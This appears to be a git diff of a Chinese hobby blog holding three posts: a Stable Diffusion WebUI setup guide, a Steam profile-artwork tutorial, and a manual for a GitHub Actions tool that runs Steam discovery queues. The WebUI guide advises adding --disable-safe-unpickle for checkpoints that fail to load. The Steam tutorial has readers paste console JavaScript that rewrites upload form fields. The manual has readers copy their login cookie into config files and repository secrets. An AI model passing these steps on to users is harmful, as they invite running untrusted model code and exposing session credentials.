我们需要关注的是webui-user.batwebui-user.sh文件,在这两个文件里面我们可以设置我们的各项启动参数,以下以Windows为例

+
1
2
3
4
5
6
7
8
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=

call webui.bat
+ +

初始状态应该跟我一样是什么也没有的,我的电脑用的是NVIDIA Geforce RTX 3060 Laptop 6G显卡,这个显存虽然看起来很大,但是在机器学习这方面简直是不够用,为了避免爆显存,我们可以在COMMANDLINE_ARGS里面加上一些参数

+

如果你的电脑用的显卡跟我的差不多,那么只用加上一个--medvram就可以了,但如果你的电脑显卡显存小于等于4G,那么我推荐使用--lowvram作为启动参数

+

这里附上我的启动参数

+
1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat
+ +

这里多的后面会说

+

设置好启动参数以后,我们还需要下载一个模型,因为没有模型文件是启动不了的(这里模型不一定要是是官方的,官方的模型链接在Dependencies · AUTOMATIC1111/stable-diffusion-webui Wiki (github.com),但你也可以到我的分享站或者社区群体开的站SD - WebUI 资源站去下载)

+

把你下载好的模型,放到项目文件夹的models/Stable-diffusion文件夹下(没有的话自己创建一个)

+

我们双击webui-user.bat,它会自动进行环境的安装(当然Python是要预先装好的

+

整个过程会比较漫长,如果因为网络原因安装不下来的话试试挂个梯子

+

当看到如图所示的提示的时候,就说明已经开好了,我们可以访问给出的链接进入webui(默认端口是7860,但我开了一个实例在7860了,所以它就自动顺延到7861,实际使用请注意控制台给出的端口号)

+

访问给出的链接,我们就能到我们的webui控制台了

+

安装模型及关键词

这个其实上面提到了,就是把ckpt文件(checkpoint)丢到models/Stable-diffusion文件夹就行

+

不过我们下载到的东西不一定是ckpt文件,还有.vae.pt.pt文件,

+

简单来说,一般遵循以下原则(当然特殊问题特别看待哈,你别提供给你文件的人说放在指定的位置,你还按照我的这个来)

+
+ +

PT的使用方式:Pt放embeddings文件夹,施法输入对应文件名即可

+

在webui中能直接选择的其实就是models/Stable-diffusion里面的模型,在左上角有个选择框,如果你放进去了选择框里没有的话,你可以点一下左边的刷新

+

+

在这里选择我们想要的模型以后,我们就可以开始成图了

+

开始跑图

刚访问自己的webui,里面应该是像我这个这样

+

软件主界面

+

左上角显示目前选择的模型,下面有两个大框框,上面输入的是正面tag(就是你想要的图片里面应该是什么样的),下面的是负面tag(就是避免什么样的图)

+

然后再往下有个Sampling method是采样方式,就是生成图的时候,要用什么样的方式来对模型进行采样,这里我用得比较多的是Euler a EulerDDIM,右边是Sampling steps采样步数,采样步数越多越接近于你想要的图(不过是类似对数函数那样的,过大反而收益低)

+

再往下WidthHeight就是生成图片的宽度和高度,不宜太大,否则会爆显存(CUDA:Out of Memory),我3060用1280*720没问题

+

右半边有Batch Count生成图片的数量和Batch size是损失函数,一般只调整数量,关于这两个推荐阅读 → Batch Size的相关问题及如何选择Batch Size的大小 - 知乎 (zhihu.com)

+

往下有Seed,这个玩MC的应该不用说,种子嘛

+

还有个选项Hires. fix,这个是高清修复,说白了就是图片放大,同样小心爆显存!!!再往下的可以跳过了

+

现在,在上面的框框输入以下内容

+
+

masterpiece, best quality, official art, extremely detailed CG unity 8k wallpaper

+
+

在下面的框框里面输入

+
+

lowres, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality, normal quality, jpeg artifacts, signature, watermark, username, blurry, bad feet,

+
+

然后点击右边的generate,等待大约两分钟,看到右边生成了一张图片(生成的图片取决于模型以及随机生成的种子,所以每次生成基本都是不一样的)

+

+

恭喜你!你已经会使用基本的SD功能了!生成的图片可以在outputs/txt2img-images里面找到!

+

+

启动项详解

在上面的教程中你会看到,我的启动项多了很多东西。在这里我把上面的东西搬下来

+
1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat
+ +

这里PYTHON GIT VENV_DIR这三个不用动(除非你知道你在做啥),我们主要关注下面两个

+

COMMANDLINE_ARGS是Stable-diffusion-webui的启动项,--deepdanbooru是训练tag的时候用的,可以在图片分割预处理的时候自动推断包含的tag,--medvarm就是怕炸显存才加的,上面也说过了,--no-half-vae主要用于解决生成图片时控制台报modules.devices.NansException的问题(看下面的报错环节)

+

PYTORCH_CUDA_ALLOC_CONF是给CUDA用的启动参数,这里garbage_collection_threshold决定了缓存的新旧与否(一般用0.5),而max_split_size_mb是CUDA分割内存的时候的分割快的大小。这个启动参数一般不用设置,除非你要训练模型啥的

+

插件安装

SD是可以安装插件的,而安装插件的方式很简单,在上方找到Extensions选项卡,然后再选择Avaliable,点击Load from:按钮(就那个橙色的),加载完后下面会出来个列表,在里面选择自己想要的就可以了

+

我这里装了一个image browser用于看图

+

+

报错以及相关的解决方式

生成图片时控制台报modules.devices.NansException

+

在启动参数里面加入--no-half-vae即可

+

加载模型时出现RuntimeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: RuntimeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 218, in read_state_dict
pl_sd = torch.load(checkpoint_file, map_location=map_location or shared.weight_load_location)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 106, in load
return load_with_extra(filename, extra_handler=global_extra_handler, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 151, in load_with_extra
return unsafe_torch_load(filename, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 705, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 242, in __init__
super(_open_zipfile_reader, self).__init__(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory
+ +

解决方式:换个模型,该模型可能已经损坏

+

加载模型时出现AttributeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-----> !!!! The file is most likely corrupted !!!! <-----
You can skip this check with --disable-safe-unpickle commandline argument, but that is not going to help you.


Failed to load checkpoint, restoring previous
Loading weights [7373d84140] from F:\Git\stable-diffusion-webui\models\Stable-diffusion\momoco_18000.ckpt
Applying cross attention optimization (Doggettx).
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: AttributeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 223, in read_state_dict
sd = get_state_dict_from_checkpoint(pl_sd)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 194, in get_state_dict_from_checkpoint
pl_sd = pl_sd.pop("state_dict", pl_sd)
AttributeError: 'NoneType' object has no attribute 'pop'
+ +

(治标不治本)在启动项添加--disable-safe-unpickle

+

资源推荐

模型下载站

主页 | SD - WebUI 资源站 (123114514.xyz)

+

首页 - NovelAI - Share4Nothing (share4nothing.cf)

+

AI绘画模型博物馆: http://aimodel.subrecovery.top

+

Tag列表

魔咒百科词典 (aitag.top)

+

NovelAI法术书 - Google 云端硬盘(要梯子)

+

NovelAI tag在线生成器

+

NovelAI魔导书

+

元素法典——Novel AI 元素魔法全收录

+

上述资源的QQ频道

NovelAI中文频道(u31uiz208r)

+

魔导师学院(2p6k6vzg5i)

+

没有频道功能点这个激活频道功能:点击链接加入QQ频道【接驳巴士】:https://pd.qq.com/s/47hvnz3w2

+

模型训练

易于上手的教程:https://qun.qq.com/qqweb/qunpro/share?_wv=3&_wwv=128&appChannel=share&inviteCode=1YB4AvdMsUl&contentID=1fAzWY&businessType=2&from=181174&shareSource=5&biz=ka

+

云平台

Kaggle: Your Home for Data Science

+

欢迎使用 Colaboratory - Colaboratory (google.com)(要梯子)

+

梯子

用户注册 | 三分机场 (xn–ehq00hgtfdmt.xyz)

+

Airports 个人机场/订阅汇总 - Airports (share4nothing.cf)

+

P站资源

本人:喵呜初音 - pixiv

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Stable-diffusion-webui-discovery/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Steam-Artwork/index.html b/posts/Steam-Artwork/index.html new file mode 100644 index 0000000000..d4b5d7fc19 --- /dev/null +++ b/posts/Steam-Artwork/index.html @@ -0,0 +1,326 @@ +Steam资料美化 —— 让你的展柜变得好看! | GamerNoTitle + + + + + + + + + + + + + + + +

Steam资料美化 —— 让你的展柜变得好看!

你也想拥有想别人那样Steam资料有自己喜欢的人物嘛?你也想自己动动手,让自己的Steam资料变得好看吗?现在你不需要去某宝/某东,只要你跟着做,你就能够做到!

+

观前提示:本教程全程使用Photoshop(包括模板文件),请自备该软件~(另:抠图不是我应该教的)

+

话不多说,先上一张效果图(你也可以到我的Steam个人资料页面查看)

+

效果图

+
+

找图

找图当然是最重要的呀,没有图哪里来的背景……如果你的Steam个人资料没有背景,你可以去点数商店换一个自己喜欢的(点数确实挺难赚的就是了,G胖心里偷喜)

+

接着我们打开自己的Steam库存,选择你想用来做背景的图,点击查看完整大小

+

查看完整大小

+

你可以直接点击它,你也可以右键复制链接地址,反正我们需要的是链接

+

接着我们打开Steam.Design,把自己的链接贴进去点”Change BG”,然后点Download Images

+

操作步骤

+

下载下来是个压缩包,我们只要里面的Artwork_Middle.pngArtwork_Right_Top.png即可,如果你对头像也有要求可以把Avatar.png也用上,但是本教程不涉及

+

至于人物图嘛……P站很多自己找吧

+

裁剪

接下来就是要Photoshop的时候了,我会完整告诉你怎么弄,当然你也可以直接下载我提供的模板(懒人必备),可以省去切片的步骤,直接把图片拖进去然后保存即可

+

我们先新建一个607*942的空白画布,如图

+

新建画布

+

打开来就是一个纯空白的文件,接着把我们下载的两个图片拖进去

+

拖~进去

+

然后把两个图片分别拖到左右两边,大的在做,小的在右。如果你操作正确的话中间会留下一列空白(纯色)

+

正确操作

+

接着把自己的人物图放进去(请先自己扣好图),如果人物被挡住了需要把人的那一个图层向上移动(两个背景图层没有顺序要求,但是人物一定要在上面)

+

图层排列

+

重点来了!选择切片工具(如果你没有切片工具,请右键裁切工具选择切片工具)工具选择

+

从透明的那一列开始往下拉到底,将图划分为三个区域(因为透明那一列也是一个区域)

+

划分区域

+

区域显示

+

如果你不放心自己是否裁切对了,你可以按住Alt+鼠标滑轮上放大来检视自己的操作,如果不对,就可以将切片线移动到正确位置

+

放大检视

+

最后我们按住Ctrl+Alt+Shift+S,进行文件的保存(品质手动拉到100)文件名随便你,反正我们用不到文件名,裁剪就完成了

+

上传

我们打开Steam艺术作品上传页面(需要梯子或者Steamcommunity302),添加自己的文件,给自己的作品命名

+

重点来啦!按F12打开开发者工具,选择console,将以下的代码复制进去按回车运行

+
1
2
3
4
5
var num= document.getElementsByName("image_width")[0].value;

document.getElementsByName("image_height")[0].value = num-(num-1);

document.getElementsByName("image_width")[0].value= num*100;
+ +

最后会得到一行数字(两个数字的结果不一样,第一个是50600,第二个是10000,两个都要运行)

+

开发者工具

+

上传完成后我们点到Steam编辑个人资料,选择艺术作品展柜,并将自己的艺术作品展示出来,保存

+

修改个人资料展柜

+

这样你就得到了属于你自己的Steam个人资料页面了!

+

效果图

+
+

题外话

最近Leancloud国际版又崩了……评论获取不到,烦……

+

原神挺好玩的,虽然我每天有一个半小时的限制……

+

CSGO的排位还没打完哭了……昨晚三连跪了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Steam-Artwork/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/SteamAutoQueue-Manual/index.html b/posts/SteamAutoQueue-Manual/index.html new file mode 100644 index 0000000000..aacf43759d --- /dev/null +++ b/posts/SteamAutoQueue-Manual/index.html @@ -0,0 +1,342 @@ +SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌! | GamerNoTitle + + + + + + + + + + + + + + + + +

SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌!

其实这个我从夏促前就开始写了,只不过刚好那一周撞上各种考试,所以就保证了本地Windows版本的正常运行,Linux的就没动,等到周末再干的时候夏促已经开始了……

+

为啥我要做这个?主要是学生党又不是天天开电脑,像TemperMonkey的那种自动探索队列的脚本或者是Steam++里面带的那个,都要打开电脑,再去打开浏览器或者是Steam,所以我就做了一个这个不需要打开任何东西的。

+

因为完成太晚了,所以等到冬促的时候我再去推广吧,要是有哪位大哥愿意帮我推广的尽管发就行了,发完了站内艾特一下我~

+
+

先点个STAR✨,我们马上开始教学!

+
+

简体中文

+

变量获取

先打开Steam商店,正常登陆,然后按下F12打开开发者工具,在选项卡里面找到网络(Network),刷新一下,在左侧找到store.steampowered.com,点击一下,然后在右侧下拉找到Cookie,把里面的东西复制出来

+

+

如果你选择用Action运行,,那么把Cookie复制下来后直接进入[Action环节](#在Github Action运行)

+

如果你选择服务器运行,那么你需要运行一下ConvertCookie.py,输入你的cookie字符串,然后打开cookie.txt就可以看到用于填在config.json的cookie了,复制出来,填在配置文件的cookie配置里面,如果你使用Action运行

+

如果你的电脑没有Python环境,或者你没有clone本仓库,你也可以打开这个网站字符串在线替换 - so工具 (sotool.net),然后在这里完成替换操作,替换的要求就是把双引号"替换为单引号'(注意要半角符号不是全角符号)

+

在Github Action运行

首先先打开仓库页面,Fork一份 -> ElainaMoe/SteamAutoQueue: 利用Github Action来Steam自动探索队列,不是油猴脚本,不需要打开浏览器或者Steam就可以运行,促销期间必备!

+

然后点击Settings -> Secrets -> Actions,进入变量添加页面

+

添加如图所示的变量,变量获取请查看这里,你只需要添加名为COOKIE的变量即可,内容是你的COOKIE

+

+

当然你也可以把Cookie用仓库里自带的SetCookie.py脚本放到你的Redis数据库里(填写config.jsonSteam相关字段后,只需要把Steam键下的内容贴进脚本里设置就行了),这样你就不需要一个一个加,但是不是所有人都有数据库,所以说没有数据库的话就一个一个来吧。

+

添加完后点击顶上导航栏的Action按钮,然后点击中间的绿色按钮开启Action

+

+

然后按照如图所示的方式打开两个Action脚本

+

+

打开后可以运行一次看看结果,一般来说没有打叉就是没啥问题了

+

运行结果应该像下面这个这样(注:我这里Cookie的设置方式不太一样,我放在了Redis里面)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!
+ +

无法运行/发现Bug

请带着你的运行日志到Issues · ElainaMoe/SteamAutoQueue (github.com)报个BUG吧

+

English

+

Actually I started to do this before Summer-Sale. However that week is filled with examinations. So I just guarantee the Windows local version can be run successfully and left Linux behind. When it comes to the weekend, it was the time that Summer-Sale has began……

+

Why I made this? For the reason that as a student, I will not open my computer everyday. The script that run on TemperMoney or the one in Steam++ need a browser or Steam client to run. So I make this one that no anything need to open.

+

But I finish this too late, so when it comes to the Winter-Sale that I will promote it by myself. If you’re willing to promote my script, just do it. No any permission needed. After you promote it, just left you link in the comment below. Thank you!

+
+

Give me a STAR ✨ and we will start now.

+
+

Getting variables

You need to go to Steam website and Press F12, find network and refresh the page once. Then you can find store.steampowered.com on the left side. Click on it and scroll down on the right side, and you will find cookie string.

+

+

If you run this script on Action, copy this then go to [Run on Github Action](#Run on Github Action) section

+

Copy that and run ConvertCookie.py, paste your cookie in it and you will find the string that need to be fill in the config.json is in the cookie.txt, copy that and fill it in the cookie key of the config file.

+

If you dont have a Python environment or you havent clone the source code, you can also go to Find and Replace a String - Online String Tools to finish it.

+

Run on Github Action

First open the repo and fork it -> ElainaMoe/SteamAutoQueue: Using Github Action to explore Steam queue every day. You will need it when it comes to the Summer/Winter Sale.

+

Then click on Settings -> Secrets -> Actions to enter the page to add variables

+

Add the variables shown on this picture, [you can know how to get then from here](#Getting variables)

+

YOU ONLY NEED TO ADD THE VARIABLE NAMED “COOKIE” AND FILL YOUR COOKIE IN IT, THE FOLLOWING PICTURE IS OUTDATED!

+

+

After you finishing it, click the Action button from nav-bar and click the green button on the center to turn Action on.

+

+

Then enable the two scripts like this in the picture.

+

+

After you opened them, you can run them by yourself. If it doesn’t display something wrong, then you have finished.

+

The result should like this (I placed the variables in my Redis)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
